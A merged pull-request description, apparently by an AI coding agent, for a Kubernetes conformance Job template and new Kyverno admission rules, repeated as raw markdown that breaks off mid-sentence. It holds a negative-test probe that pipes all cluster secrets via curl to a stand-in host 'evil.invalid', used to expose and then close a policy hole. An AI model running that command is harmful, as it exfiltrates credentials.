feat(conformance): the in-cluster Job can now run a named commit and get its results out #20

Merged
jakman85 merged 4 commits from feat/conformance-job-template into main 2026-09-30 04:09:29 +00:00
Owner

Rebased again 2026-09-29 (second time) — #18 landed, and it touched the same README

After #18, #19 and #22 merged, this PR went back to mergeable: false. This time
DECISIONS-LOG.md was not involved — the new decisions/ layout held, and the five
handoff entries coexist with no conflict. The conflict was real overlapping content:
#18 and this branch had each rewritten the same bullet list in
conformance/incluster/README.md. That is an ordinary two-PR collision, and it is exactly
the kind a merge should surface.

How it was resolved. Kept #18's Containerfile / conformance-clone / build-image.sh
bullets; kept this branch's chainsaw-job.yaml bullet, since this branch is what turns the
Job into a rendered run template.

One paragraph of #18's had to be rewritten rather than kept. Its conformance-clone
bullet carried a blockquote reading "This file is half a fix … a 4th policy rule demanding
command: ["/usr/local/bin/conformance-clone"] with no args … is not in this branch."

That rule is in this branch — trigger-initcontainers-must-be-the-committed-clone-step
(at most one init container, digest-pinned image, that exact command, no args), plus
the ephemeralContainers and env/envFrom rules beside it. Carrying #18's wording forward
would have left main documenting an open hole that had just been closed — the same
documentation-disagrees-with-mechanism failure this repo keeps hitting. The blockquote now
says the other half landed here and names the rule that closes it.

No code moved. git diff <pre-rebase tip> HEAD over every path except that README is
empty — chainsaw-job.yaml, run.sh, the plan, the policy and the Kyverno tests are
byte-identical.

The handoff entry was updated too: its "PR #18 must merge first" caveat was stale, and a
stale caveat is worse than none. It now records that #18 has merged and that this changes
only availability — no image has been built or pushed, so the digest this branch pins still
resolves to nothing.

Gate on the pushed commit 0749562, in the pinned toolbox: rc 3 — UNDETERMINED, not green.
Green: spec-immutability, decisions-log, lint, l0, render-golden, l1. The only
stage counted as not-run is gitea-settings (no SETTINGS_API_TOKEN, unwired repo-wide — the
standing baseline). conformance L2/L3 skipped, CLUSTER_AVAILABLE unset, so touched
requirements R-NET-01 R-SEC-01 R-TEST-01..04 R-TLS-02 are not certified.
git merge-tree --write-tree origin/main HEAD reports no conflict; the Gitea API reports
mergeable: True. I have not watched CI run on 0749562.

Rebased 2026-09-29 — the DECISIONS-LOG.md append is why this PR would not merge

This PR was mergeable: false. The only conflicting path was DECISIONS-LOG.md: this
branch appended ~400 lines to the tail of that single file, and so did every other open
branch, so all of them collided on the same last hunk. Four of the five open PRs were stuck
that way, and nothing was wrong with any of the actual changes.

What changed in this rebase:

  • The branch no longer touches DECISIONS-LOG.md at all.
    git diff origin/main...HEAD --name-only does not list it.
  • The handoff prose moved verbatim-in-substance to its own file,
    decisions/2026-09-29-conformance-job-template.md — the one-file-per-handoff layout
    introduced by PR #24, which has since merged to main (c59fe9f). Concurrent branches now
    touch disjoint paths, so there is nothing to conflict on.
  • Nothing was dropped to make it shorter. Every measurement, every caveat and every
    UNVERIFIED item from the original entry is in the new file, including the three
    addenda. One claim was weakened, not restated: per ci/l0.sh's own recorded lesson,
    kyverno test exits 0 and prints "N tests passed" even when a policy fails to load
    (every row becomes Skip / Invalid Policy) — measured while authoring this very policy. The
    entry now says explicitly that the admission proofs rest on kyverno apply's
    error: 0, skip: 0 counts, not on any exit code, and that a green l0 line would not by
    itself establish that these rules loaded.
  • The three original commits are now three: the two that describe real work keep their
    messages; the log-only commit f819672 is gone, and its content (the approval-policy
    check that does not exist) is preserved inside the new entry.
  • The seven real paths are byte-identical to the pre-rebase branch — verified with
    git diff against the old head: the only differences are DECISIONS-LOG.md and the files
    main itself advanced on.

Merges cleanly against today's main on its own: git merge-tree --write-tree origin/main HEAD reports no CONFLICT, and the branch is rebased directly onto main at c59fe9f.

Gate re-run after the rebase (toolbox, DEV_KUBECONFIG=/dev/null + ENGINE shim), on the
exact pushed commit 11a74cc:

diff base: origin/main @ c59fe9f923c4 ... HEAD @ 11a74cce53bb
spec-immutability: green
decisions-log:     green   (archive frozen — sha256 matches decisions/ARCHIVE.sha256;
                            2 entries well-formed, this one included)
lint:              green   (404 files)
l0:                green   (kyverno test passed, no 'Invalid Policy')
render-golden:     green   (10 goldens reproduce)
l1:                green   (3 offline checks, 0 failures, 0 skips, 0 unwired)
gitea-settings:    SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true)
MERGE GATE: UNDETERMINED — Stages that did not run: gitea-settings
rc 3

rc 3 is UNDETERMINED, not green. Nothing FAILED, and nothing about Gitea's branch
protection or about L2/L3 runtime behaviour is certified by this run. spec-immutability is
green here (unlike the stale block further down) because the shim mounts the sibling spec repo.

Everything below is the PR's original description, unchanged.


Closes docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
conformance/incluster/chainsaw-job.yaml was a skeleton whose workspace was an empty
emptyDir with nothing to populate it — the Job could never have run the suite. It is now a
renderable run template that runs a named commit and gets its results back out through the one
channel CI has.

Do not merge on my say-so — and a correction to the brief I was given. I was told to expect
CI to FAIL on an approval-policy check because conformance/** is security-relevant. No such
check exists.
Measured:

grep -rn approval .gitea/workflows/     ->  no match
branches/main  status_check_contexts    ->  ['gate / gate (pull_request)']
               required_approvals       ->  1
commits/<head>/statuses
  success   gate / gate (pull_request)          Successful in 1m36s
  pending   gate / conformance (pull_request)   Blocked by required conditions

The only required context is gate / gate, and it is green — and it genuinely ran (1m36s), so
this is not the skipped-job-reports-success trap. What blocks this merge is required_approvals: 1 plus gitea-admin authoring every agent PR and being unable to self-approve, the same control
that returned HTTP 405 on PR #12. Worth knowing separately: a change under conformance/** —
including one to the admission boundary itself — is gated by a generic human approval, not by
anything that knows the path is security-relevant.
If that is the intent, it is not implemented
anywhere in this repo.

The binding constraint

platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce + failurePolicy: Fail and admits only workspace and results as volume names. So the git credential could
not be a Secret volume and the init container could not have a scratch volume of its own:

Need Solved within the two volumes
read-only Gitea credential env from secretKeyRef on Secret conformance-git-readonly (username, token) — by name only, no literal in the tree. An env var is not a volume. It reaches git through an inline credential.helper that reads the environment, so the token is never in argv (ps, the Pod spec) and never on disk.
writable scratch under readOnlyRootFilesystem: true $TMPDIR=/workspace/tmp, $HOME=/workspace/home — directories on the workspace emptyDir. Not subPath mounts: a kubelet-created subPath dir is root-owned 0755 and the non-root runner cannot write it.
somewhere for results not conformance/_artifacts — that path is inside the clone target and git clone refuses a non-empty target. Hence /results plus a new CONF_ARTIFACTS override in run.sh, honoured only when set, so local runs are unchanged.

The init container shallow-clones, fetches the exact commit when the shallow tip does not contain
it, detaches onto it, and asserts HEAD equals the requested SHA. The SHA must match
^[0-9a-f]{40}$, so an unrendered placeholder is a hard failure rather than a silent run of
whatever the branch tip happened to be. Placeholders are @@TOKEN@@, not ${TOKEN}, because the
init container is a bash script full of legitimate ${...} that envsubst would clobber.

Admission proven, not assumed

Pinned CLI (kyverno v1.19.0) in the toolbox, on the rendered template:

Applying 3 policy rule(s) to 1 resource(s)...
pass: 3, fail: 0, warn: 0, error: 0, skip: 0

Negative controls on the same rendered template, to show the rules bite rather than
vacuously pass:

Tamper Result
a third volume (secret: for the credential) trigger-volumes-must-be-workspace-or-results fails
command wrapped in /bin/sh -c "./run.sh; tar … | base64" trigger-may-create-only-the-committed-conformance-run fails at /spec/template/spec/containers/0/command/

The shape is now a real-template fixture in
platform/kyverno/tests/conformance-trigger/resources.yaml, so a template that drifts out of
admission fails make -C ci l0 rather than failing at 2am against the live cluster.

⚠ Finding: that policy never reads initContainers

Measured with the same CLI on the same rendered template, with only the init container's
args replaced by
kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ and
containers[0] left fully compliant:

pass: 3, fail: 0, warn: 0, error: 0, skip: 0     # ADMITTED

All three rules read spec.template.spec.containers (rule 1's pattern, rule 3's
containers[0].args) or volumes (rule 2). The escalation the policy exists to stop — the
privileged conformance-runner SA running an arbitrary command, because Kubernetes places no
use check on serviceAccountName — is still reachable one field over. This predates this
branch
: the gap shipped with the policy, and a Job with no init container at all could already
have carried one.

Deliberately not fixed here. A security boundary changes in its own reviewed PR, not smuggled
in beside the Job that has to satisfy it. Documented in the manifest header and DECISIONS-LOG with
the recommended fix: bake the clone script into the runner image at a fixed path, drop the init
container's args, and add a 4th rule pinning initContainers to one container on the
digest-pinned image with command: ["/usr/local/bin/conformance-clone"] and no args.

Also noted: kyverno apply evaluates these rules with or without --userinfo (the extra-volume
control fails either way), so a CLI pass is evidence about the patterns, not about the
subjects filter.

Results with no exec channel

The trigger identity has no pods/exec and cannot kubectl cp, and admission pins command to
exactly ["./run.sh"] — nothing can wrap the suite to package artifacts afterwards. So run.sh
does it, on an EXIT trap (a failed run still ships its red JUnit — the evidence the gate most
needs), armed only by CONF_EMIT_ARTIFACTS_TGZ=1:

=== ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
<base64 of the tgz, wrapped at 76 columns>
=== ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===

kubectl logs is lossy (--tail, a rotated CRI log, a dropped watch) and base64 decodes a
truncated stream to plausible garbage without complaint — so size, base64 line count and digest
appear in both markers and the collector owes five checks, spelled out above the function.
Verified locally rather than asserted:

Corruption Caught by
intact log decodes to a valid tar, digest matches
tail-truncated (head -200) check 1 — one BEGIN, no END
head-truncated (tail -100) check 1 — no BEGIN
one interior line dropped check 3 — 440 body lines, header says 441
one character corrupted check 5 — sha256 mismatch

Exit-code preservation through the trap was tested for 0, an explicit exit 3 and a set -e
abort; the envelope's rc= matched the process rc in all three.

Gate

Toolbox only (DEV_KUBECONFIG=/dev/null + an ENGINE shim bind-mounting the main checkout's
.git, per CLAUDE.md §3):

lint: green (404 files)     l0: green (kyverno: 1 policy / 8 resources)
render-golden: green (10)   l1: green
spec-immutability: SKIPPED (sibling spec repo absent)
gitea-settings:    SKIPPED (no SETTINGS_API_TOKEN locally)
conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset)
touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02
MERGE GATE: UNDETERMINED — rc 3

Nothing FAILED. rc 3 is the expected local outcome and gate.yml tolerates it.

UNVERIFIED — read before believing any of this runs

  • Nothing here has executed. The conformance-runner image does not exist (plan §3 item 1),
    so the Job cannot be submitted; the clone/fetch/assert sequence, the credential helper and the
    envelope-over-kubectl-logs transport are all unexercised against a cluster. The envelope
    itself is verified; its transport is not.
  • Secret conformance-git-readonly does not exist (plan §3 item 6, operator).
  • uid 65532 is pinned by the Job's runAsUser/fsGroup; the image that must provide it has not
    been built. A different uid in the Containerfile and the Job will not start.
  • Whether Gitea's uploadpack serves fetch origin <sha> for a non-tip commit was not tested.
    If it does not, the HEAD == SHA assertion makes that a loud failure, never a wrong-tree run.
  • ci/conformance.sh is untouched (plan §3 item 4) — this branch changes nothing about what CI
    does today.
  • platform/kyverno/admission/conformance-trigger-job-shape.yaml, ci/gate.sh and branch
    protection are untouched.

🤖 Generated with Claude Code


UPDATE — the initContainers hole is closed, and it was the same bug three times

The coordinator reproduced the finding independently and authorised the policy edit my brief had
forbidden
, reversing it explicitly: the ban existed to stop the boundary being bent to fit a
Job
, not to stop a hole being closed. So this PR now also changes
platform/kyverno/admission/conformance-trigger-job-shape.yaml.

What was open

Every original rule read spec.template.spec.containers (rule 1's pattern, rule 3's
containers[0].args) or volumes (rule 2). Nothing read the other fields that carry executable
intent. Measured with containers[0] left fully compliant:

probe before
privileged: true alpine:latest initContainer running kubectl get secrets -A pass: 3, fail: 0 — admitted
this template with only the init container's args swapped for an exfiltration one-liner pass: 3, fail: 0 — admitted

=(privileged): "false" only ever applied to containers[0]. ephemeralContainers and env
were equally unread.

Four new rules

  • trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on
    the digest-pinned runner image, command: ["/usr/local/bin/conformance-clone"], no args,
    non-root, no privilege escalation, not privileged.
  • trigger-may-not-declare-ephemeral-containers — the third container list.
  • trigger-env-names-must-be-the-committed-set — command is pinned, so injection moves to a
    variable the pinned command honours. BASH_ENV alone is arbitrary code execution: bash
    sources it before running a non-interactive script, and the runner's command is a bash script.
  • trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job.

All four use deny conditions, not a pattern. A Kyverno array pattern asserts "at least one
element matches", so a pattern-based init rule would have admitted the committed clone step plus
an arbitrary second init container — fixture second-initcontainer exists because I nearly wrote
it that way.

Env values and the valueFrom source Secret are deliberately not constrained: values are
legitimately environment-specific, and conformance-runner can already read this namespace's
Secrets through its own RBAC. Names are the vector, because a name is what a program keys on.

The real fix: the clone script left the Job

Pinning command is worthless when the command is /bin/bash -c and the script arrives as
args — a policy cannot tell the committed script from an attacker's, because both are just data.
The logic now lives in the image at /usr/local/bin/conformance-clone, from
conformance/incluster/conformance-clone (agent 1's PR #18, which must merge before this
template is usable
).

I had written a second copy of that script here and deleted it. Two copies of the clone
entrypoint — one baked into the image, one not — drifts into "the reviewed file is not the file
that runs". I read theirs before deleting mine rather than assuming compatibility: the interface
matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN, baked clone target
/workspace/src — which is what makes my workingDir correct — TMPDIR/HOME under
/workspace), and both load-bearing guards survived the move: the ^[0-9a-f]{40}$ SHA check and
rev-parse HEAD == SHA. Theirs is a superset — it also hard-fails a disagreeing
CONFORMANCE_REPO_URL/CONFORMANCE_SRC instead of honouring it.

Also fixed: the committed args default could not run

Agent 1 measured that --layer all --strict-coverage and a bare --requirements <IDs> fail on
the runner image, which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the
precise invariant — requirement_scoped_dirs() is layer-bounded only when --layer is given
and is not all, and offline_selected_dirs() then filters to /l0-static/|/l1-rendering/:

args offline selection verdict
--layer l2,l3 empty RUNS
--layer l2,l3 --requirements R-NET-01 intersected to L2/L3 RUNS
--layer l2,l3 --include-scope whole-repo scope union is also layer-bounded RUNS
--requirements R-NET-01 (no --layer) that requirement's L0/L1 tests FAILS
--layer all --strict-coverage every L0/L1 test FAILS

So --layer is mandatory and must name only l2/l3. The default was one of the broken shapes and
is now ["--layer", "l2,l3"]. More importantly: the plan's "PHASE EXIT: --layer all"
invocation cannot run in-cluster at all
— a full-suite run is CI's L0/L1 plus this Job's L2/L3,
not this Job alone. That correction needs to land in ci/conformance.sh (plan §3 item 4).

The policy's args allowlist is deliberately not narrowed to match: a security boundary should
not encode which toolchain an image happens to ship, and an allowed-but-unrunnable shape fails
loudly rather than escalating. Recorded in the header so it reads as considered, not missed.

Proven, not asserted (7 rules now)

real rendered template                   -> pass: 7, fail: 0
coordinator's exact initContainer probe  -> fail on trigger-initcontainers-...  (6 pass / 1 fail)
ephemeralContainers probe                -> fail on trigger-may-not-declare-... (6 pass / 1 fail)

Fixture matrix — 65 pass / 13 fail / 0 error / 0 skip:

resource creat vols args init ephem envnm envfr
real-template pass pass pass pass pass pass pass
good-run pass pass pass — pass — pass
evil-command fail pass — — pass — pass
evil-image fail pass — — pass — pass
tag-not-digest fail pass — — pass — pass
host-namespaces fail pass — — pass — pass
extra-volume pass fail — — pass — pass
injected-args pass pass fail — pass — pass
evil-initcontainer pass pass pass fail pass — pass
initcontainer-with-args pass pass pass fail pass — pass
second-initcontainer pass pass pass fail pass — pass
evil-ephemeral-container pass pass pass — fail — pass
injected-env pass pass pass — pass fail pass
injected-initcontainer-env pass pass pass pass pass fail pass
envfrom-whole-secret pass pass pass — pass — fail

— is "no result", not a pass: a foreach over an absent list emits nothing. Two rows to stare
at: every evil init/ephemeral/env case passes the three original rules — that column is the
whole finding. And injected-initcontainer-env passes the initContainer rule (correct image,
correct pinned command, no args, non-root) while being hostile purely through env — which is why
env had to be its own rule rather than a condition bolted onto the init rule.

Two Kyverno traps, now commented in the rules

Both silently invert the result, so they are worth knowing before editing this policy:

  • not_null(x, default), never ||. JMESPath treats false as falsy, so
    allowPrivilegeEscalation || `true` rewrites the compliant value false into true and
    denies every good Job.
  • join(' ', command) compared as a string, not the array compared with Equals: Kyverno's
    Equals/NotEquals are unreliable on arrays, and element-wise matching lets
    ["/bin/sh","-c",…] through on element 0.

Still unverified

  • Nothing has executed against a cluster. PR #18 must merge first (the image digest), and
    Secret conformance-git-readonly still does not exist.
  • Whether the API server accepts ephemeralContainers in a Job pod template at all. Upstream
    the field is settable only through the pods/ephemeralcontainers subresource, but whether that
    check reaches a nested pod template is not something I could establish without a
    create --dry-run=server — a mutating request reserved to the operator (CLAUDE.md §5). The rule
    was added regardless: a no-op if upstream already rejects it, the same hole if not.
  • The env allowlists are derived from what the two programs read today. If either grows a new
    variable, admission denies the Job until the allowlist is widened in a reviewed change. That is
    the intended failure direction, but it is a coupling the next editor needs to know about, so the
    rule's message says so.

Gate, re-run

lint green (404 files) · l0 green (kyverno test: 1 policy / 15 resources)
render-golden green (10) · l1 green
spec-immutability + gitea-settings SKIPPED
MERGE GATE: UNDETERMINED — rc 3.  Nothing FAILED.

🤖 Generated with Claude Code

> ## Rebased again 2026-09-29 (second time) — #18 landed, and it touched the same README > > After #18, #19 and #22 merged, this PR went back to `mergeable: false`. This time > `DECISIONS-LOG.md` was **not** involved — the new `decisions/` layout held, and the five > handoff entries coexist with no conflict. The conflict was **real overlapping content**: > #18 and this branch had each rewritten the same bullet list in > `conformance/incluster/README.md`. That is an ordinary two-PR collision, and it is exactly > the kind a merge *should* surface. > > **How it was resolved.** Kept #18's `Containerfile` / `conformance-clone` / `build-image.sh` > bullets; kept this branch's `chainsaw-job.yaml` bullet, since this branch is what turns the > Job into a rendered run template. > > **One paragraph of #18's had to be rewritten rather than kept.** Its `conformance-clone` > bullet carried a blockquote reading *"This file is half a fix … a 4th policy rule demanding > `command: ["/usr/local/bin/conformance-clone"]` with no `args` … is **not** in this branch."* > That rule **is** in this branch — `trigger-initcontainers-must-be-the-committed-clone-step` > (at most one init container, digest-pinned image, that exact `command`, **no `args`**), plus > the `ephemeralContainers` and `env`/`envFrom` rules beside it. Carrying #18's wording forward > would have left `main` documenting an open hole that had just been closed — the same > documentation-disagrees-with-mechanism failure this repo keeps hitting. The blockquote now > says the other half landed here and names the rule that closes it. > > **No code moved.** `git diff <pre-rebase tip> HEAD` over every path except that README is > **empty** — `chainsaw-job.yaml`, `run.sh`, the plan, the policy and the Kyverno tests are > byte-identical. > > The handoff entry was updated too: its **"PR #18 must merge first"** caveat was stale, and a > stale caveat is worse than none. It now records that #18 has merged *and* that this changes > only availability — **no image has been built or pushed, so the digest this branch pins still > resolves to nothing.** > > **Gate on the pushed commit `0749562`, in the pinned toolbox: rc 3 — UNDETERMINED, not green.** > Green: `spec-immutability`, `decisions-log`, `lint`, `l0`, `render-golden`, `l1`. The only > stage counted as not-run is `gitea-settings` (no `SETTINGS_API_TOKEN`, unwired repo-wide — the > standing baseline). `conformance` L2/L3 skipped, `CLUSTER_AVAILABLE` unset, so touched > requirements `R-NET-01 R-SEC-01 R-TEST-01..04 R-TLS-02` are **not certified**. > `git merge-tree --write-tree origin/main HEAD` reports no conflict; the Gitea API reports > `mergeable: True`. I have **not** watched CI run on `0749562`. > ## Rebased 2026-09-29 — the `DECISIONS-LOG.md` append is why this PR would not merge > > This PR was `mergeable: false`. The **only** conflicting path was `DECISIONS-LOG.md`: this > branch appended ~400 lines to the tail of that single file, and so did every other open > branch, so all of them collided on the same last hunk. Four of the five open PRs were stuck > that way, and nothing was wrong with any of the actual changes. > > **What changed in this rebase:** > > - The branch no longer touches `DECISIONS-LOG.md` **at all**. > `git diff origin/main...HEAD --name-only` does not list it. > - The handoff prose moved verbatim-in-substance to its own file, > **`decisions/2026-09-29-conformance-job-template.md`** — the one-file-per-handoff layout > introduced by PR #24, which has since merged to `main` (`c59fe9f`). Concurrent branches now > touch disjoint paths, so there is nothing to conflict on. > - Nothing was dropped to make it shorter. Every measurement, every caveat and every > **UNVERIFIED** item from the original entry is in the new file, including the three > addenda. One claim was **weakened**, not restated: per `ci/l0.sh`'s own recorded lesson, > `kyverno test` exits 0 and prints "N tests passed" even when a policy **fails to load** > (every row becomes `Skip / Invalid Policy`) — measured while authoring this very policy. The > entry now says explicitly that the admission proofs rest on `kyverno apply`'s > `error: 0, skip: 0` counts, not on any exit code, and that a green `l0` line would not by > itself establish that these rules loaded. > - The three original commits are now three: the two that describe real work keep their > messages; the log-only commit `f819672` is gone, and its content (the `approval-policy` > check that does not exist) is preserved inside the new entry. > - **The seven real paths are byte-identical to the pre-rebase branch** — verified with > `git diff` against the old head: the only differences are `DECISIONS-LOG.md` and the files > `main` itself advanced on. > > **Merges cleanly against today's `main` on its own:** `git merge-tree --write-tree origin/main > HEAD` reports **no CONFLICT**, and the branch is rebased directly onto `main` at `c59fe9f`. > > **Gate re-run after the rebase** (toolbox, `DEV_KUBECONFIG=/dev/null` + `ENGINE` shim), on the > exact pushed commit `11a74cc`: > > ``` > diff base: origin/main @ c59fe9f923c4 ... HEAD @ 11a74cce53bb > spec-immutability: green > decisions-log: green (archive frozen — sha256 matches decisions/ARCHIVE.sha256; > 2 entries well-formed, this one included) > lint: green (404 files) > l0: green (kyverno test passed, no 'Invalid Policy') > render-golden: green (10 goldens reproduce) > l1: green (3 offline checks, 0 failures, 0 skips, 0 unwired) > gitea-settings: SKIPPED (SETTINGS_API_TOKEN not set — unwired repo-wide) > conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE != true) > MERGE GATE: UNDETERMINED — Stages that did not run: gitea-settings > rc 3 > ``` > > **rc 3 is UNDETERMINED, not green.** Nothing FAILED, and nothing about Gitea's branch > protection or about L2/L3 runtime behaviour is certified by this run. `spec-immutability` is > green here (unlike the stale block further down) because the shim mounts the sibling spec repo. > > Everything below is the PR's original description, unchanged. --- Closes `docs/plans/l2-l3-conformance-ci-wiring.md` **§3 items 2 and 3**. `conformance/incluster/chainsaw-job.yaml` was a skeleton whose `workspace` was an empty `emptyDir` with nothing to populate it — the Job could never have run the suite. It is now a renderable run template that runs a *named commit* and gets its results back out through the one channel CI has. **Do not merge on my say-so** — and a correction to the brief I was given. I was told to expect CI to FAIL on an `approval-policy` check because `conformance/**` is security-relevant. **No such check exists.** Measured: ``` grep -rn approval .gitea/workflows/ -> no match branches/main status_check_contexts -> ['gate / gate (pull_request)'] required_approvals -> 1 commits/<head>/statuses success gate / gate (pull_request) Successful in 1m36s pending gate / conformance (pull_request) Blocked by required conditions ``` The only required context is `gate / gate`, and it is green — and it genuinely ran (1m36s), so this is not the skipped-job-reports-success trap. What blocks this merge is `required_approvals: 1` plus `gitea-admin` authoring every agent PR and being unable to self-approve, the same control that returned HTTP 405 on PR #12. Worth knowing separately: **a change under `conformance/**` — including one to the admission boundary itself — is gated by a generic human approval, not by anything that knows the path is security-relevant.** If that is the intent, it is not implemented anywhere in this repo. ## The binding constraint `platform/kyverno/admission/conformance-trigger-job-shape.yaml` is Enforce + `failurePolicy: Fail` and admits **only `workspace` and `results`** as volume names. So the git credential could not be a Secret volume and the init container could not have a scratch volume of its own: | Need | Solved within the two volumes | |---|---| | read-only Gitea credential | env from `secretKeyRef` on Secret `conformance-git-readonly` (`username`, `token`) — **by name only**, no literal in the tree. An env var is not a volume. It reaches `git` through an inline `credential.helper` that reads the *environment*, so the token is never in argv (`ps`, the Pod spec) and never on disk. | | writable scratch under `readOnlyRootFilesystem: true` | `$TMPDIR=/workspace/tmp`, `$HOME=/workspace/home` — directories **on** the `workspace` emptyDir. Not `subPath` mounts: a kubelet-created subPath dir is root-owned 0755 and the non-root runner cannot write it. | | somewhere for `results` | **not** `conformance/_artifacts` — that path is inside the clone target and `git clone` refuses a non-empty target. Hence `/results` plus a new `CONF_ARTIFACTS` override in `run.sh`, honoured only when set, so local runs are unchanged. | The init container shallow-clones, fetches the exact commit when the shallow tip does not contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA**. The SHA must match `^[0-9a-f]{40}$`, so an unrendered placeholder is a hard failure rather than a silent run of whatever the branch tip happened to be. Placeholders are `@@TOKEN@@`, not `${TOKEN}`, because the init container is a bash script full of legitimate `${...}` that `envsubst` would clobber. ## Admission proven, not assumed Pinned CLI (kyverno v1.19.0) in the toolbox, on the rendered template: ``` Applying 3 policy rule(s) to 1 resource(s)... pass: 3, fail: 0, warn: 0, error: 0, skip: 0 ``` Negative controls on the **same** rendered template, to show the rules bite rather than vacuously pass: | Tamper | Result | |---|---| | a third volume (`secret:` for the credential) | `trigger-volumes-must-be-workspace-or-results` **fails** | | `command` wrapped in `/bin/sh -c "./run.sh; tar … \| base64"` | `trigger-may-create-only-the-committed-conformance-run` **fails** at `/spec/template/spec/containers/0/command/` | The shape is now a `real-template` fixture in `platform/kyverno/tests/conformance-trigger/resources.yaml`, so a template that drifts out of admission fails `make -C ci l0` rather than failing at 2am against the live cluster. ## ⚠ Finding: that policy never reads `initContainers` Measured with the same CLI on the same rendered template, with **only** the init container's `args` replaced by `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` and `containers[0]` left fully compliant: ``` pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # ADMITTED ``` All three rules read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). The escalation the policy exists to stop — the privileged `conformance-runner` SA running an arbitrary command, because Kubernetes places no `use` check on `serviceAccountName` — is still reachable one field over. **This predates this branch**: the gap shipped with the policy, and a Job with no init container at all could already have carried one. **Deliberately not fixed here.** A security boundary changes in its own reviewed PR, not smuggled in beside the Job that has to satisfy it. Documented in the manifest header and DECISIONS-LOG with the recommended fix: bake the clone script into the runner image at a fixed path, drop the init container's `args`, and add a 4th rule pinning `initContainers` to one container on the digest-pinned image with `command: ["/usr/local/bin/conformance-clone"]` and no args. Also noted: `kyverno apply` evaluates these rules with or without `--userinfo` (the extra-volume control fails either way), so a CLI pass is evidence about the *patterns*, not about the `subjects` filter. ## Results with no exec channel The trigger identity has no `pods/exec` and cannot `kubectl cp`, and admission pins `command` to exactly `["./run.sh"]` — nothing can wrap the suite to package artifacts afterwards. So `run.sh` does it, on an **EXIT trap** (a failed run still ships its red JUnit — the evidence the gate most needs), armed only by `CONF_EMIT_ARTIFACTS_TGZ=1`: ``` === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> === <base64 of the tgz, wrapped at 76 columns> === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> === ``` `kubectl logs` is lossy (`--tail`, a rotated CRI log, a dropped watch) and base64 decodes a truncated stream to plausible garbage without complaint — so size, base64 line count and digest appear in **both** markers and the collector owes five checks, spelled out above the function. Verified locally rather than asserted: | Corruption | Caught by | |---|---| | intact log | decodes to a valid tar, digest matches | | tail-truncated (`head -200`) | check 1 — one BEGIN, no END | | head-truncated (`tail -100`) | check 1 — no BEGIN | | one interior line dropped | check 3 — 440 body lines, header says 441 | | one character corrupted | check 5 — sha256 mismatch | Exit-code preservation through the trap was tested for `0`, an explicit `exit 3` and a `set -e` abort; the envelope's `rc=` matched the process rc in all three. ## Gate Toolbox only (`DEV_KUBECONFIG=/dev/null` + an `ENGINE` shim bind-mounting the main checkout's `.git`, per CLAUDE.md §3): ``` lint: green (404 files) l0: green (kyverno: 1 policy / 8 resources) render-golden: green (10) l1: green spec-immutability: SKIPPED (sibling spec repo absent) gitea-settings: SKIPPED (no SETTINGS_API_TOKEN locally) conformance L2/L3: SKIPPED (CLUSTER_AVAILABLE unset) touched requirements: R-NET-01 R-SEC-01 R-TEST-01 R-TEST-02 R-TEST-03 R-TEST-04 R-TLS-02 MERGE GATE: UNDETERMINED — rc 3 ``` Nothing FAILED. rc 3 is the expected local outcome and `gate.yml` tolerates it. ## UNVERIFIED — read before believing any of this runs - **Nothing here has executed.** The `conformance-runner` image does not exist (plan §3 item 1), so the Job cannot be submitted; the clone/fetch/assert sequence, the credential helper and the envelope-over-`kubectl-logs` transport are all unexercised against a cluster. The envelope itself is verified; its transport is not. - Secret `conformance-git-readonly` does not exist (plan §3 item 6, operator). - `uid 65532` is pinned by the Job's `runAsUser`/`fsGroup`; the image that must provide it has not been built. A different uid in the Containerfile and the Job will not start. - Whether Gitea's `uploadpack` serves `fetch origin <sha>` for a non-tip commit was not tested. If it does not, the `HEAD == SHA` assertion makes that a loud failure, never a wrong-tree run. - `ci/conformance.sh` is untouched (plan §3 item 4) — **this branch changes nothing about what CI does today.** - `platform/kyverno/admission/conformance-trigger-job-shape.yaml`, `ci/gate.sh` and branch protection are untouched. 🤖 Generated with [Claude Code](https://claude.com/claude-code) --- # UPDATE — the `initContainers` hole is closed, and it was the same bug three times The coordinator reproduced the finding independently and **authorised the policy edit my brief had forbidden**, reversing it explicitly: the ban existed to stop the boundary being *bent to fit a Job*, not to stop a hole being closed. So this PR now also changes `platform/kyverno/admission/conformance-trigger-job-shape.yaml`. ## What was open Every original rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). Nothing read the other fields that carry executable intent. Measured with `containers[0]` left fully compliant: | probe | before | |---|---| | `privileged: true` `alpine:latest` initContainer running `kubectl get secrets -A` | `pass: 3, fail: 0` — **admitted** | | this template with only the init container's `args` swapped for an exfiltration one-liner | `pass: 3, fail: 0` — **admitted** | `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` and `env` were equally unread. ## Four new rules - **`trigger-initcontainers-must-be-the-committed-clone-step`** — at most ONE initContainer, on the digest-pinned runner image, `command: ["/usr/local/bin/conformance-clone"]`, **no args**, non-root, no privilege escalation, not privileged. - **`trigger-may-not-declare-ephemeral-containers`** — the third container list. - **`trigger-env-names-must-be-the-committed-set`** — `command` is pinned, so injection moves to a variable the pinned command honours. **`BASH_ENV` 